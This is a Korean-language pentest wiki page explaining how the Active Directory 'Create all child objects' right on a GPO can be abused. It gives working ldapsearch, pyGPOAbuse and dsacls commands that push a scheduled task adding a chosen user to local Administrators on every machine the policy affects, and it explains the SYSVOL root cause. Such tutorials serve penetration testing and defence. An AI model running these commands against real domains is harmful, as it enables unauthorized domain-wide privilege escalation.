> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/dacl/create-all-child-objects.md).

# Create all child objects

Create all child objects 권한은 객체 하위에 새로운 객체를 추가할 수 있는 권한입니다.

GPO(group policy object)에 대해 이 권한이 있다면 정책 내 작업 스케줄을 생성하여 정책의 영향을 받는 모든 객체들에게 명령을 수행할 수 있습니다.

{% hint style="info" %}
GPO와 연결된 객체들은 기본적으로 90분 단위로 DC와 통신하여 정책을 갱신합니다.
{% endhint %}

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># GPO 목록 열거
</strong>ldapsearch -x -H ldap://'&#x3C;dc-ip>' -D  '&#x3C;user@domain>' -w '&#x3C;password>' -b "CN=Policies,CN=System,DC='&#x3C;domain>',DC='&#x3C;domain>'" "(objectClass=groupPolicyContainer)" displayName

<strong># pygpoabuse 설치 및 실행
</strong>git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
python3 pygpoabuse.py '&#x3C;domain/user:password>' -gpo-id '&#x3C;gpo-uuid>' -command "net localgroup Administrators '&#x3C;username>' /add"

<strong># 생성한 정책 정리
</strong>python3 pygpoabuse.py '&#x3C;domain/user:password>' -gpo-id '&#x3C;gpo-uuid>' --clean
</code></pre>

현재 도메인 GPO에 대해 권한을 가진 객체들의 수준을 열거하는 UNIX 기반 도구는 없기 때문에 정확하게 권한을 가진 객체로 타겟해야 할 경우 파워쉘을 통해 수준을 확인해야 합니다.

{% hint style="info" %}
2025년 10월 3일을 기준으로 BloodHound에는 Create all child objects 권한을 가진 객체를 표시하지 않습니다.
{% endhint %}

<pre class="language-powershell"><code class="lang-powershell"><strong># gpo uuid를 기반으로 권한을 가진 객체 열거
</strong>dsacls "CN={'&#x3C;gpo-uuid>'},CN=Policies,CN=System,DC='&#x3C;domain>',DC='&#x3C;domain>'"
</code></pre>

## Root Cause

GPO에 대해서 Create all child objects 권한이 할당되면 `C:\Windows\SYSVOL\sysvol\<domain>\Policies\<gpo-uuid>\Machine\Preferences\ScheduledTasks` 경로에 스케줄 파일을 생성할 수 있습니다.

pygpoabuse 프로젝트의 scheduledtask.py 파일에서 다음 코드를 확인할 수 있습니다.

<figure><img src="/files/U2uYfyUlk2pHa9JE2ORB" alt=""><figcaption><p>scheduledtask.py</p></figcaption></figure>

이 파이썬 스크립트로 인해 GPO 스케줄 경로에는 ScheduledTasks.xml 파일이 생성되고, 해당 스케줄의 내용은 로컬 관리자 계정을 생성합니다. 해당 파일에 하드코딩된 계정 정보를 변경하여 실행합니다.

<figure><img src="/files/ZPlssSHFP5uiYoUlCQGT" alt=""><figcaption><p>ScheduledTasks.xml</p></figcaption></figure>

## Demo

<figure><img src="/files/04sdDqxzy0vEjk2TehCX" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://medium.com/@ericwsound/gpo-abuse-privilege-escalation-to-local-admin-cb212a1b4fdc>" %}
